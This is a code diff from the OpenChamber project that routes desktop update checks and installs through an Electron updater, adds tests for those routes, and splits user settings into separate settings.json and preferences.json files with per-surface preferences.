- `parsePreferencesDocument(raw)`, `serializePreferencesDocument(fields)`, `flattenPreferences(fields)`, `buildPreferencesFields(previousFields, document, now)`, `instancePartOf(document)`, `seedPreferencesFrom(document, now)`, `readMergedSettingsSync({ fs, path, settingsFilePath })`, `getSettingsScope(key)`, `isProfileSettingsKey(key)`, `isDeviceSettingsKey(key)`, `preferencesFilePathFor(settingsFilePath, path)`.
|
||||
- The VS Code extension host writes the same two files with the same shape (`packages/vscode/src/settings-files.ts`); format changes go to both.
|
||||
|
||||
## Public exports (settings-helpers.js)
|
||||
- `createSettingsHelpers(dependencies)`: creates settings helper runtime for settings request/response shaping.
|
||||
@@ -363,9 +368,20 @@ before starting managed OpenCode. The managed custom tool therefore receives
|
||||
an authoritative loopback callback URL even when OpenChamber binds port `0`.
|
||||
|
||||
## Public exports (openchamber-routes.js)
|
||||
Browser completion checks use `appType=web&updateStatus=true` to stay on the
|
||||
Desktop Host's native updater. A rejected native restart is retained in the
|
||||
server process and returned to these polls as `DESKTOP_UPDATE_RESTART_FAILED`;
|
||||
ordinary availability checks remain usable so a browser reload can offer a
|
||||
retry. Starting another installation clears the previous restart error.
|
||||
The shared UI's `lib/web-update.ts` parses install/check responses and waits
|
||||
for the installed native target version, rather than treating absence of a
|
||||
newer release as installation success. Poll requests have individual deadlines
|
||||
within a ten-minute overall deadline.
|
||||
|
||||
- `registerOpenChamberRoutes(app, dependencies)`: registers OpenChamber endpoints:
|
||||
- `GET /api/openchamber/update-check`
|
||||
- `POST /api/openchamber/update-install`
|
||||
- Desktop-managed hosts delegate authenticated Web update requests to the Electron main process, which checks, downloads, and applies the update through `electron-updater` before restarting the host.
|
||||
- Foreground servers running under a systemd user unit queue installation in
|
||||
a separate transient unit and restart the configured service afterwards.
|
||||
`OPENCHAMBER_SYSTEMD_UNIT` overrides the default `openchamber.service`.
|
||||
|
||||
@@ -63,6 +63,7 @@ export const createBootstrapRuntime = (dependencies) => {
|
||||
getCachedZenModels,
|
||||
setAutoAcceptSession,
|
||||
agentToolRuntime,
|
||||
desktopUpdater,
|
||||
} = options;
|
||||
|
||||
const uiAuthController = createUiAuth({
|
||||
@@ -153,6 +154,7 @@ export const createBootstrapRuntime = (dependencies) => {
|
||||
readSettingsFromDiskMigrated,
|
||||
fetchFreeZenModels,
|
||||
getCachedZenModels,
|
||||
desktopUpdater,
|
||||
});
|
||||
|
||||
return {
|
||||
|
||||
@@ -13,6 +13,7 @@ import { registerDevServerRoutes } from '../dev-servers/routes.js';
|
||||
import { registerMagicPromptRoutes } from '../magic-prompts/routes.js';
|
||||
import { registerSessionFoldersRoutes } from '../session-folders/routes.js';
|
||||
import { registerProjectContextRoutes } from '../project-context/routes.js';
|
||||
import { registerProjectSetupRoutes } from '../projects/routes.js';
|
||||
import { registerAgentMemoryRoutes } from '../agent-memory/routes.js';
|
||||
import { registerSessionKnowledgeRoutes } from '../session-knowledge/routes.js';
|
||||
import { registerPermissionAutoAcceptRoutes } from '../permission-auto-accept/runtime.js';
|
||||
@@ -330,6 +331,7 @@ export const createFeatureRoutesRuntime = (dependencies) => {
|
||||
openchamberDataDir,
|
||||
});
|
||||
registerProjectContextRoutes(app, { projectContextRuntime });
|
||||
registerProjectSetupRoutes(app, { projectConfigRuntime });
|
||||
registerAgentMemoryRoutes(app, { agentMemoryRuntime, isAgentMemoryEnabled });
|
||||
registerSessionKnowledgeRoutes(app, { sessionKnowledgeRuntime });
|
||||
|
||||
|
||||
@@ -29,11 +29,13 @@ export const registerOpenChamberRoutes = (app, dependencies) => {
|
||||
readSettingsFromDiskMigrated,
|
||||
fetchFreeZenModels,
|
||||
getCachedZenModels,
|
||||
desktopUpdater,
|
||||
} = dependencies;
|
||||
|
||||
let desktopRestartError = null;
|
||||
|
||||
app.get('/api/openchamber/update-check', async (req, res) => {
|
||||
try {
|
||||
const { checkForUpdates } = await import('../package-manager.js');
|
||||
const parseString = (value) => (typeof value === 'string' && value.trim().length > 0 ? value.trim() : undefined);
|
||||
const parseReportUsage = (value) => {
|
||||
if (typeof value !== 'string') return true;
|
||||
@@ -49,8 +51,7 @@ export const registerOpenChamberRoutes = (app, dependencies) => {
|
||||
return 'desktop';
|
||||
};
|
||||
const userAgent = typeof req.headers['user-agent'] === 'string' ? req.headers['user-agent'] : '';
|
||||
|
||||
const updateInfo = await checkForUpdates({
|
||||
const updateRequest = {
|
||||
appType: parseString(req.query.appType),
|
||||
deviceClass: parseString(req.query.deviceClass) || inferDeviceClass(userAgent),
|
||||
platform: parseString(req.query.platform),
|
||||
@@ -59,7 +60,31 @@ export const registerOpenChamberRoutes = (app, dependencies) => {
|
||||
currentVersion: parseString(req.query.currentVersion),
|
||||
installId: parseString(req.query.installId),
|
||||
reportUsage: parseReportUsage(parseString(req.query.reportUsage)),
|
||||
});
|
||||
};
|
||||
let updateInfo;
|
||||
if (process.env.OPENCHAMBER_RUNTIME === 'desktop' && updateRequest.appType === 'web') {
|
||||
if (desktopRestartError && req.query.updateStatus === 'true') {
|
||||
return res.status(503).json({
|
||||
code: 'DESKTOP_UPDATE_RESTART_FAILED',
|
||||
error: desktopRestartError,
|
||||
});
|
||||
}
|
||||
if (typeof desktopUpdater?.check !== 'function') {
|
||||
return res.status(503).json({
|
||||
available: false,
|
||||
code: 'DESKTOP_UPDATER_UNAVAILABLE',
|
||||
error: 'The desktop updater is not available.',
|
||||
});
|
||||
}
|
||||
updateInfo = {
|
||||
...await desktopUpdater.check(),
|
||||
packageManager: 'electron',
|
||||
updateOwner: 'electron-updater',
|
||||
};
|
||||
} else {
|
||||
const { checkForUpdates } = await import('../package-manager.js');
|
||||
updateInfo = await checkForUpdates(updateRequest);
|
||||
}
|
||||
res.json(updateInfo);
|
||||
} catch (error) {
|
||||
console.error('Failed to check for updates:', error);
|
||||
@@ -72,6 +97,41 @@ export const registerOpenChamberRoutes = (app, dependencies) => {
|
||||
|
||||
app.post('/api/openchamber/update-install', async (_req, res) => {
|
||||
try {
|
||||
if (process.env.OPENCHAMBER_RUNTIME === 'desktop') {
|
||||
if (typeof desktopUpdater?.install !== 'function' || typeof desktopUpdater?.restart !== 'function') {
|
||||
return res.status(503).json({
|
||||
code: 'DESKTOP_UPDATER_UNAVAILABLE',
|
||||
error: 'The desktop updater is not available.',
|
||||
});
|
||||
}
|
||||
|
||||
desktopRestartError = null;
|
||||
const updateInfo = await desktopUpdater.install();
|
||||
if (!updateInfo?.available) {
|
||||
return res.status(400).json({ error: 'No update available' });
|
||||
}
|
||||
|
||||
res.json({
|
||||
success: true,
|
||||
message: 'Desktop update downloaded, host will restart shortly',
|
||||
version: updateInfo.version,
|
||||
packageManager: 'electron',
|
||||
updateOwner: 'electron-updater',
|
||||
autoRestart: true,
|
||||
restartManager: 'electron-updater',
|
||||
});
|
||||
|
||||
setImmediate(() => {
|
||||
Promise.resolve()
|
||||
.then(() => desktopUpdater.restart())
|
||||
.catch((error) => {
|
||||
desktopRestartError = error instanceof Error ? error.message : 'Failed to restart after desktop update';
|
||||
console.error('Failed to restart after desktop update:', error);
|
||||
});
|
||||
});
|
||||
return;
|
||||
}
|
||||
|
||||
const { spawn: spawnChild, spawnSync } = await import('child_process');
|
||||
const {
|
||||
checkForUpdates,
|
||||
|
||||
@@ -18,7 +18,7 @@ const childProcess = await import('child_process');
|
||||
const packageManager = await import('../package-manager.js');
|
||||
const { registerOpenChamberRoutes } = await import('./openchamber-routes.js');
|
||||
|
||||
const createApp = ({ environment = {}, storedOptions = {} } = {}) => {
|
||||
const createApp = ({ environment = {}, storedOptions = {}, desktopUpdater } = {}) => {
|
||||
const app = express();
|
||||
const dependencies = {
|
||||
fs: {
|
||||
@@ -47,6 +47,7 @@ const createApp = ({ environment = {}, storedOptions = {} } = {}) => {
|
||||
readSettingsFromDiskMigrated: vi.fn(),
|
||||
fetchFreeZenModels: vi.fn(),
|
||||
getCachedZenModels: vi.fn(),
|
||||
desktopUpdater,
|
||||
};
|
||||
|
||||
registerOpenChamberRoutes(app, dependencies);
|
||||
@@ -69,6 +70,132 @@ afterEach(() => {
|
||||
vi.clearAllMocks();
|
||||
});
|
||||
|
||||
describe('OpenChamber desktop host update route', () => {
|
||||
it('reports a restart rejection until the user retries installation', async () => {
|
||||
const desktopUpdater = {
|
||||
check: vi.fn(async () => ({ available: true, currentVersion: '1.17.0', version: '1.17.1' })),
|
||||
install: vi.fn(async () => ({ available: true, version: '1.17.1' })),
|
||||
restart: vi.fn().mockRejectedValueOnce(new Error('Signature rejected')).mockResolvedValue(undefined),
|
||||
};
|
||||
const { app } = createApp({ environment: { OPENCHAMBER_RUNTIME: 'desktop' }, desktopUpdater });
|
||||
const logError = vi.spyOn(console, 'error').mockImplementation(() => {});
|
||||
|
||||
await request(app).post('/api/openchamber/update-install').expect(200);
|
||||
await new Promise(resolve => setImmediate(resolve));
|
||||
await request(app).get('/api/openchamber/update-check?appType=web&reportUsage=false&updateStatus=true').expect(503, {
|
||||
code: 'DESKTOP_UPDATE_RESTART_FAILED', error: 'Signature rejected',
|
||||
});
|
||||
expect(desktopUpdater.check).not.toHaveBeenCalled();
|
||||
expect(logError).toHaveBeenCalledOnce();
|
||||
// Availability remains reachable after a browser reload, so users can retry.
|
||||
await request(app).get('/api/openchamber/update-check?appType=web&reportUsage=false').expect(200);
|
||||
|
||||
await request(app).post('/api/openchamber/update-install').expect(200);
|
||||
await new Promise(resolve => setImmediate(resolve));
|
||||
const response = await request(app).get('/api/openchamber/update-check?appType=web&reportUsage=false').expect(200);
|
||||
expect(response.body.currentVersion).toBe('1.17.0');
|
||||
expect(response.body.updateOwner).toBe('electron-updater');
|
||||
expect(packageManager.checkForUpdates).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('rejects native checks without a bridge and preserves explicit non-web checks', async () => {
|
||||
const { app } = createApp({ environment: { OPENCHAMBER_RUNTIME: 'desktop' } });
|
||||
await request(app).get('/api/openchamber/update-check?appType=web').expect(503, {
|
||||
available: false, code: 'DESKTOP_UPDATER_UNAVAILABLE', error: 'The desktop updater is not available.',
|
||||
});
|
||||
expect(packageManager.checkForUpdates).not.toHaveBeenCalled();
|
||||
await request(app).get('/api/openchamber/update-check?appType=desktop-electron').expect(200);
|
||||
expect(packageManager.checkForUpdates).toHaveBeenCalledOnce();
|
||||
});
|
||||
|
||||
it('uses electron-updater to check for Web client updates', async () => {
|
||||
const desktopUpdater = {
|
||||
check: vi.fn(async () => ({
|
||||
available: true,
|
||||
currentVersion: '1.17.0',
|
||||
version: '1.17.1',
|
||||
})),
|
||||
install: vi.fn(),
|
||||
restart: vi.fn(),
|
||||
};
|
||||
const { app } = createApp({
|
||||
environment: {
|
||||
OPENCHAMBER_RUNTIME: 'desktop',
|
||||
},
|
||||
desktopUpdater,
|
||||
});
|
||||
|
||||
await request(app)
|
||||
.get('/api/openchamber/update-check?appType=web&reportUsage=false')
|
||||
.expect(200, {
|
||||
available: true,
|
||||
currentVersion: '1.17.0',
|
||||
version: '1.17.1',
|
||||
packageManager: 'electron',
|
||||
updateOwner: 'electron-updater',
|
||||
});
|
||||
|
||||
expect(desktopUpdater.check).toHaveBeenCalledOnce();
|
||||
expect(packageManager.checkForUpdates).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('installs through electron-updater and restarts after responding', async () => {
|
||||
const desktopUpdater = {
|
||||
check: vi.fn(),
|
||||
install: vi.fn(async () => ({
|
||||
available: true,
|
||||
version: '1.17.1',
|
||||
})),
|
||||
restart: vi.fn(),
|
||||
};
|
||||
const { app } = createApp({
|
||||
environment: {
|
||||
OPENCHAMBER_RUNTIME: 'desktop',
|
||||
},
|
||||
desktopUpdater,
|
||||
});
|
||||
|
||||
await request(app)
|
||||
.post('/api/openchamber/update-install')
|
||||
.expect(200, {
|
||||
success: true,
|
||||
message: 'Desktop update downloaded, host will restart shortly',
|
||||
version: '1.17.1',
|
||||
packageManager: 'electron',
|
||||
updateOwner: 'electron-updater',
|
||||
autoRestart: true,
|
||||
restartManager: 'electron-updater',
|
||||
});
|
||||
await new Promise((resolve) => setImmediate(resolve));
|
||||
|
||||
expect(desktopUpdater.install).toHaveBeenCalledOnce();
|
||||
expect(desktopUpdater.restart).toHaveBeenCalledOnce();
|
||||
expect(packageManager.checkForUpdates).not.toHaveBeenCalled();
|
||||
expect(packageManager.detectPackageManagerDetails).not.toHaveBeenCalled();
|
||||
expect(packageManager.getUpdateCommand).not.toHaveBeenCalled();
|
||||
expect(childProcess.spawn).not.toHaveBeenCalled();
|
||||
expect(childProcess.spawnSync).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('fails safely when the Electron updater bridge is unavailable', async () => {
|
||||
const { app } = createApp({
|
||||
environment: {
|
||||
OPENCHAMBER_RUNTIME: 'desktop',
|
||||
},
|
||||
});
|
||||
|
||||
await request(app)
|
||||
.post('/api/openchamber/update-install')
|
||||
.expect(503, {
|
||||
code: 'DESKTOP_UPDATER_UNAVAILABLE',
|
||||
error: 'The desktop updater is not available.',
|
||||
});
|
||||
|
||||
expect(packageManager.checkForUpdates).not.toHaveBeenCalled();
|
||||
expect(childProcess.spawn).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
describe('OpenChamber foreground update route', () => {
|
||||
it('rejects a foreground update when the server is not owned by systemd', async () => {
|
||||
const { app } = createApp();
|
||||
|
||||
@@ -7,6 +7,7 @@ import {
|
||||
} from './config-mutation-response.js';
|
||||
import { getClaudeCliAuthStatus } from './claude-cli-auth.js';
|
||||
import { OPENCODE_CONFIG_DIR } from './shared.js';
|
||||
import { settingsSurfaceOf } from './settings-files.js';
|
||||
|
||||
export const registerOpenCodeRoutes = (app, dependencies) => {
|
||||
const {
|
||||
@@ -208,9 +209,10 @@ ${desktopReturn ? `<a class="return" href="openchamber://focus/mcp-auth">Return
|
||||
}
|
||||
};
|
||||
|
||||
app.get('/api/config/settings', async (_req, res) => {
|
||||
app.get('/api/config/settings', async (req, res) => {
|
||||
try {
|
||||
const settings = await readSettingsFromDiskMigrated();
|
||||
// The surface kind resolves the per-surface profile keys; absent means base.
|
||||
const settings = await readSettingsFromDiskMigrated({ surface: settingsSurfaceOf(req) });
|
||||
res.json(formatSettingsResponse(settings));
|
||||
} catch (error) {
|
||||
console.error('Failed to read settings:', error);
|
||||
@@ -422,7 +424,7 @@ ${desktopReturn ? `<a class="return" href="openchamber://focus/mcp-auth">Return
|
||||
|
||||
app.put('/api/config/settings', async (req, res) => {
|
||||
try {
|
||||
const updated = await persistSettings(req.body ?? {});
|
||||
const updated = await persistSettings(req.body ?? {}, { surface: settingsSurfaceOf(req) });
|
||||
res.json(updated);
|
||||
} catch (error) {
|
||||
console.error('[API:PUT /api/config/settings] Failed to save settings:', error);
|
||||
|
||||
@@ -0,0 +1,214 @@
|
||||
// The two settings files and how a merged document is split between them.
|
||||
//
|
||||
// `settings.json` holds instance facts (and, untouched, whatever legacy keys
|
||||
// older builds left there). `preferences.json` holds the user's profile: the
|
||||
// keys the settings registry marks `profile`, each with the time the store
|
||||
// last accepted a new value for it. Device keys never reach either file.
|
||||
//
|
||||
// The VS Code extension host writes the same two files with the same shape
|
||||
// (`packages/vscode/src/settings-files.ts`); keep the format changes in sync.
|
||||
import { createRequire } from 'node:module';
|
||||
|
||||
const registry = createRequire(import.meta.url)('./settings-registry.json');
|
||||
|
||||
const PREFERENCES_FILE_NAME = 'preferences.json';
|
||||
const PREFERENCES_DOCUMENT_VERSION = 1;
|
||||
|
||||
/** The registry scope for a key, or `null` when the registry does not know it. */
|
||||
const getSettingsScope = (key) => registry.fields[key]?.scope ?? null;
|
||||
|
||||
export const isProfileSettingsKey = (key) => getSettingsScope(key) === 'profile';
|
||||
export const isDeviceSettingsKey = (key) => getSettingsScope(key) === 'device';
|
||||
|
||||
/** Profile keys the owner chose to store per surface kind (a change on a phone stays on phones). */
|
||||
const isPerSurfaceSettingsKey = (key) => registry.fields[key]?.perSurface === true;
|
||||
|
||||
const SETTINGS_SURFACES = Object.freeze(['web', 'desktop', 'vscode', 'mobile']);
|
||||
|
||||
export const normalizeSettingsSurface = (value) => (
|
||||
typeof value === 'string' && SETTINGS_SURFACES.includes(value.trim()) ? value.trim() : null
|
||||
);
|
||||
|
||||
/**
|
||||
* Which surface kind a settings request comes from; `null` means "base".
|
||||
* Clients send `?surface=<kind>` (a query parameter keeps the request
|
||||
* CORS-simple for cross-origin shells and older instances); the
|
||||
* `x-openchamber-surface` header is still honoured for clients that sent it.
|
||||
*/
|
||||
export const settingsSurfaceOf = (req) => (
|
||||
normalizeSettingsSurface(req.query?.surface) ?? normalizeSettingsSurface(req.get?.('x-openchamber-surface'))
|
||||
);
|
||||
|
||||
export const preferencesFilePathFor = (settingsFilePath, path) => path.join(path.dirname(settingsFilePath), PREFERENCES_FILE_NAME);
|
||||
|
||||
const isPlainObject = (value) => Boolean(value) && typeof value === 'object' && !Array.isArray(value);
|
||||
|
||||
const sameValue = (left, right) => {
|
||||
if (left === right) return true;
|
||||
if (left === undefined || right === undefined) return false;
|
||||
return JSON.stringify(left) === JSON.stringify(right);
|
||||
};
|
||||
|
||||
const parseStamp = (value) => (Number.isFinite(value) ? value : 0);
|
||||
|
||||
/**
|
||||
* Parse the text of a preferences file. A missing file is the caller's case
|
||||
* (ENOENT); anything that is not a version-1 document with a `fields` object
|
||||
* is a failure, never an empty profile.
|
||||
*
|
||||
* An entry is `{ value, updatedAt }` for the base value, optionally with
|
||||
* `surfaces: { [surface]: { value, updatedAt } }` for per-surface keys; a
|
||||
* per-surface key that was only ever set from one surface kind has no base.
|
||||
*/
|
||||
export const parsePreferencesDocument = (raw) => {
|
||||
let parsed;
|
||||
try {
|
||||
parsed = JSON.parse(raw);
|
||||
} catch (error) {
|
||||
return { ok: false, reason: `invalid JSON: ${error instanceof Error ? error.message : String(error)}` };
|
||||
}
|
||||
if (!isPlainObject(parsed) || parsed.version !== PREFERENCES_DOCUMENT_VERSION || !isPlainObject(parsed.fields)) {
|
||||
return { ok: false, reason: 'not a version-1 preferences document' };
|
||||
}
|
||||
const fields = {};
|
||||
for (const [key, entry] of Object.entries(parsed.fields)) {
|
||||
if (!isPlainObject(entry) || (!('value' in entry) && !isPlainObject(entry.surfaces))) {
|
||||
return { ok: false, reason: `field "${key}" is not a { value, updatedAt } entry` };
|
||||
}
|
||||
const next = { updatedAt: parseStamp(entry.updatedAt) };
|
||||
if ('value' in entry) next.value = entry.value;
|
||||
if (isPlainObject(entry.surfaces)) {
|
||||
next.surfaces = {};
|
||||
for (const [surface, surfaceEntry] of Object.entries(entry.surfaces)) {
|
||||
if (!SETTINGS_SURFACES.includes(surface) || !isPlainObject(surfaceEntry) || !('value' in surfaceEntry)) {
|
||||
return { ok: false, reason: `field "${key}" has an invalid surface entry "${surface}"` };
|
||||
}
|
||||
next.surfaces[surface] = { value: surfaceEntry.value, updatedAt: parseStamp(surfaceEntry.updatedAt) };
|
||||
}
|
||||
}
|
||||
fields[key] = next;
|
||||
}
|
||||
return { ok: true, fields };
|
||||
};
|
||||
|
||||
export const serializePreferencesDocument = (fields) => JSON.stringify({ version: PREFERENCES_DOCUMENT_VERSION, fields }, null, 2);
|
||||
|
||||
/**
|
||||
* The plain key → value view of preference fields as one surface kind sees it:
|
||||
* that surface's own value first, the base value otherwise; a key with neither
|
||||
* is absent (the client keeps what it holds, or its default).
|
||||
*/
|
||||
export const flattenPreferences = (fields, surface = null) => {
|
||||
const values = {};
|
||||
for (const [key, entry] of Object.entries(fields)) {
|
||||
const own = surface && entry.surfaces ? entry.surfaces[surface] : undefined;
|
||||
if (own) {
|
||||
values[key] = own.value;
|
||||
} else if ('value' in entry) {
|
||||
values[key] = entry.value;
|
||||
}
|
||||
}
|
||||
return values;
|
||||
};
|
||||
|
||||
/**
|
||||
* The next preference fields for a merged document: every profile key it
|
||||
* carries, stamped `now` when its value differs from what the file held and
|
||||
* keeping the earlier stamp otherwise. Profile keys the document no longer
|
||||
* carries are dropped (that is how a cleared key leaves the file).
|
||||
*
|
||||
* Per-surface keys: when the write comes from a surface kind (`surface`) and
|
||||
* the key is among the keys that write changed (`changedKeys`), the value goes
|
||||
* under `surfaces[surface]` and the base is left as it was; a per-surface key
|
||||
* the write did not change keeps its whole entry (the document only carries
|
||||
* that surface's resolved view of it). Without a surface (migrations, the
|
||||
* one-time seed) the base is written.
|
||||
*/
|
||||
export const buildPreferencesFields = (previousFields, document, now, { surface = null, changedKeys = null } = {}) => {
|
||||
const fields = {};
|
||||
const changed = changedKeys ? new Set(changedKeys) : null;
|
||||
for (const [key, value] of Object.entries(document)) {
|
||||
if (value === undefined || !isProfileSettingsKey(key)) continue;
|
||||
const previous = previousFields[key];
|
||||
if (isPerSurfaceSettingsKey(key) && surface) {
|
||||
if (changed && !changed.has(key)) {
|
||||
if (previous) fields[key] = previous;
|
||||
continue;
|
||||
}
|
||||
const previousOwn = previous?.surfaces?.[surface];
|
||||
const own = previousOwn && sameValue(previousOwn.value, value) ? previousOwn : { value, updatedAt: now };
|
||||
fields[key] = {
|
||||
...(previous ?? { updatedAt: 0 }),
|
||||
surfaces: { ...(previous?.surfaces ?? {}), [surface]: own },
|
||||
};
|
||||
continue;
|
||||
}
|
||||
if (previous && 'value' in previous && sameValue(previous.value, value)) {
|
||||
fields[key] = previous;
|
||||
} else {
|
||||
fields[key] = { ...(previous ?? {}), value, updatedAt: now };
|
||||
}
|
||||
}
|
||||
return fields;
|
||||
};
|
||||
|
||||
/**
|
||||
* The part of a merged document that belongs in `settings.json`: everything
|
||||
* that is not a profile key. Device keys older builds persisted stay in place
|
||||
* as a read-once seed for clients; the write path never adds new ones.
|
||||
*/
|
||||
export const instancePartOf = (document) => {
|
||||
const instance = {};
|
||||
for (const [key, value] of Object.entries(document)) {
|
||||
if (value === undefined || isProfileSettingsKey(key)) continue;
|
||||
instance[key] = value;
|
||||
}
|
||||
return instance;
|
||||
};
|
||||
|
||||
/** The profile keys of a document (the part `instancePartOf` leaves out). */
|
||||
export const profilePartOf = (document) => {
|
||||
const profile = {};
|
||||
for (const [key, value] of Object.entries(document)) {
|
||||
if (value !== undefined && isProfileSettingsKey(key)) profile[key] = value;
|
||||
}
|
||||
return profile;
|
||||
};
|
||||
|
||||
/**
|
||||
* What `settings.json` holds after a write: the instance part plus a copy of
|
||||
* the profile's base values. The copy is for builds that predate the split —
|
||||
* they read only this file, so a rollback still finds the user's preferences.
|
||||
* Current builds ignore it: `preferences.json` wins in the merged read.
|
||||
*/
|
||||
export const legacySettingsDocumentOf = (document, preferenceFields) => ({
|
||||
...instancePartOf(document),
|
||||
...flattenPreferences(preferenceFields),
|
||||
});
|
||||
|
||||
/** The profile keys of a document, as they would seed a fresh preferences file. */
|
||||
export const seedPreferencesFrom = (document, now) => buildPreferencesFields({}, document, now);
|
||||
|
||||
/**
|
||||
* Synchronous merged read for server modules that consult one or two profile
|
||||
* keys on a hot path (small-model resolution, goal/assist toggles). A missing
|
||||
* or unreadable preferences file contributes nothing, and the caller's own
|
||||
* default applies — the same "missing is not default" rule the clients use.
|
||||
*/
|
||||
export const readMergedSettingsSync = ({ fs, path, settingsFilePath }) => {
|
||||
let settings = {};
|
||||
try {
|
||||
const parsed = JSON.parse(fs.readFileSync(settingsFilePath, 'utf8'));
|
||||
if (isPlainObject(parsed)) settings = parsed;
|
||||
} catch {
|
||||
settings = {};
|
||||
}
|
||||
let preferences = {};
|
||||
try {
|
||||
const parsed = parsePreferencesDocument(fs.readFileSync(preferencesFilePathFor(settingsFilePath, path), 'utf8'));
|
||||
if (parsed.ok) preferences = flattenPreferences(parsed.fields);
|
||||
} catch {
|
||||
preferences = {};
|
||||
}
|
||||
return { ...settings, ...preferences };
|
||||
};
|
||||
@@ -1,5 +1,33 @@
|
||||
import { sanitizeGitProviders } from '../git-providers/config.js';
|
||||
import { createRequire } from 'node:module';
|
||||
|
||||
import { isAgentMemoryFeatureAvailable } from '../agent-memory/feature-flag.js';
|
||||
import { sanitizeGitProviders } from '../git-providers/config.js';
|
||||
|
||||
// Generated from packages/ui/src/lib/settings/registry.ts by
|
||||
// `bun run settings-registry:generate`; `registry.test.ts` fails when stale.
|
||||
// The server is plain ESM without a bundler, so the snapshot is read with
|
||||
// `createRequire` (import attributes differ across the Node versions we run on).
|
||||
const settingsRegistry = createRequire(import.meta.url)('./settings-registry.json');
|
||||
|
||||
/**
|
||||
* Whether a client may persist this key through PUT /api/config/settings:
|
||||
* it must be a registry key, not a server-computed flag, not a device field
|
||||
* that only lives in the browser, and not one the desktop shell writes itself.
|
||||
*/
|
||||
const isPersistableSettingsKey = (key) => {
|
||||
const field = settingsRegistry.fields[key];
|
||||
if (!field) return false;
|
||||
if (field.computed || field.local) return false;
|
||||
if (field.owner === 'desktop-shell') return false;
|
||||
return true;
|
||||
};
|
||||
|
||||
/** Keys accepted on write but never returned by a read. */
|
||||
const SECRET_SETTINGS_KEYS = Object.freeze(
|
||||
Object.entries(settingsRegistry.fields)
|
||||
.filter(([, field]) => field.secret === true)
|
||||
.map(([key]) => key),
|
||||
);
|
||||
import {
|
||||
DEFAULT_INPUT_HISTORY_LIMIT,
|
||||
DEFAULT_INPUT_HISTORY_SCOPE,
|
||||
@@ -19,7 +47,6 @@ export const createSettingsHelpers = (dependencies) => {
|
||||
normalizeManagedRemoteTunnelHostname,
|
||||
normalizeManagedRemoteTunnelPresets,
|
||||
normalizeManagedRemoteTunnelPresetTokens,
|
||||
sanitizeTypographySizesPartial,
|
||||
normalizeStringArray,
|
||||
sanitizeModelRefs,
|
||||
sanitizeSkillCatalogs,
|
||||
@@ -204,6 +231,9 @@ export const createSettingsHelpers = (dependencies) => {
|
||||
...new Set(candidate.workStatusHiddenSections.filter((entry) => typeof entry === 'string' && entry.length > 0)),
|
||||
];
|
||||
}
|
||||
if (typeof candidate.workStatusHiddenSectionsExplicit === 'boolean') {
|
||||
result.workStatusHiddenSectionsExplicit = candidate.workStatusHiddenSectionsExplicit;
|
||||
}
|
||||
if (typeof candidate.desktopLanAccessEnabled === 'boolean') {
|
||||
result.desktopLanAccessEnabled = candidate.desktopLanAccessEnabled;
|
||||
}
|
||||
@@ -314,9 +344,6 @@ export const createSettingsHelpers = (dependencies) => {
|
||||
if (typeof candidate.monoFont === 'string' && candidate.monoFont.length > 0) {
|
||||
result.monoFont = candidate.monoFont;
|
||||
}
|
||||
if (typeof candidate.markdownDisplayMode === 'string' && candidate.markdownDisplayMode.length > 0) {
|
||||
result.markdownDisplayMode = candidate.markdownDisplayMode;
|
||||
}
|
||||
if (typeof candidate.githubClientId === 'string') {
|
||||
const trimmed = candidate.githubClientId.trim();
|
||||
if (trimmed.length > 0) {
|
||||
@@ -332,6 +359,45 @@ export const createSettingsHelpers = (dependencies) => {
|
||||
if (typeof candidate.showReasoningTraces === 'boolean') {
|
||||
result.showReasoningTraces = candidate.showReasoningTraces;
|
||||
}
|
||||
if (typeof candidate.streamingAutoFollowEnabled === 'boolean') {
|
||||
result.streamingAutoFollowEnabled = candidate.streamingAutoFollowEnabled;
|
||||
}
|
||||
if (typeof candidate.codeBlockLineWrap === 'boolean') {
|
||||
result.codeBlockLineWrap = candidate.codeBlockLineWrap;
|
||||
}
|
||||
if (typeof candidate.autoSaveEnabled === 'boolean') {
|
||||
result.autoSaveEnabled = candidate.autoSaveEnabled;
|
||||
}
|
||||
if (typeof candidate.diffWrapLines === 'boolean') {
|
||||
result.diffWrapLines = candidate.diffWrapLines;
|
||||
}
|
||||
if (typeof candidate.persistChatDraft === 'boolean') {
|
||||
result.persistChatDraft = candidate.persistChatDraft;
|
||||
}
|
||||
if (typeof candidate.allowPromptingSubagentSessions === 'boolean') {
|
||||
result.allowPromptingSubagentSessions = candidate.allowPromptingSubagentSessions;
|
||||
}
|
||||
if (typeof candidate.showOpenCodeRestartConfirm === 'boolean') {
|
||||
result.showOpenCodeRestartConfirm = candidate.showOpenCodeRestartConfirm;
|
||||
}
|
||||
if (typeof candidate.sessionTabsEnabled === 'boolean') {
|
||||
result.sessionTabsEnabled = candidate.sessionTabsEnabled;
|
||||
}
|
||||
if (typeof candidate.largeTextPasteBehavior === 'string') {
|
||||
const mode = candidate.largeTextPasteBehavior.trim();
|
||||
if (mode === 'ask' || mode === 'attach' || mode === 'inline') {
|
||||
result.largeTextPasteBehavior = mode;
|
||||
}
|
||||
}
|
||||
if (typeof candidate.fileEditorKeymap === 'string') {
|
||||
const mode = candidate.fileEditorKeymap.trim();
|
||||
if (mode === 'default' || mode === 'vim') {
|
||||
result.fileEditorKeymap = mode;
|
||||
}
|
||||
}
|
||||
if (Array.isArray(candidate.providerOrder)) {
|
||||
result.providerOrder = normalizeStringArray(candidate.providerOrder);
|
||||
}
|
||||
if (typeof candidate.sessionRecapEnabled === 'boolean') {
|
||||
result.sessionRecapEnabled = candidate.sessionRecapEnabled;
|
||||
}
|
||||
@@ -453,11 +519,6 @@ export const createSettingsHelpers = (dependencies) => {
|
||||
result.managedRemoteTunnelSelectedPresetId = id || undefined;
|
||||
}
|
||||
|
||||
const typography = sanitizeTypographySizesPartial(candidate.typographySizes);
|
||||
if (typography) {
|
||||
result.typographySizes = typography;
|
||||
}
|
||||
|
||||
if (typeof candidate.defaultModel === 'string') {
|
||||
const trimmed = candidate.defaultModel.trim();
|
||||
result.defaultModel = trimmed.length > 0 ? trimmed : undefined;
|
||||
@@ -527,12 +588,6 @@ export const createSettingsHelpers = (dependencies) => {
|
||||
result.mobileKeyboardMode = mode;
|
||||
}
|
||||
}
|
||||
if (typeof candidate.toolCallExpansion === 'string') {
|
||||
const mode = candidate.toolCallExpansion.trim();
|
||||
if (mode === 'collapsed' || mode === 'activity' || mode === 'detailed' || mode === 'changes') {
|
||||
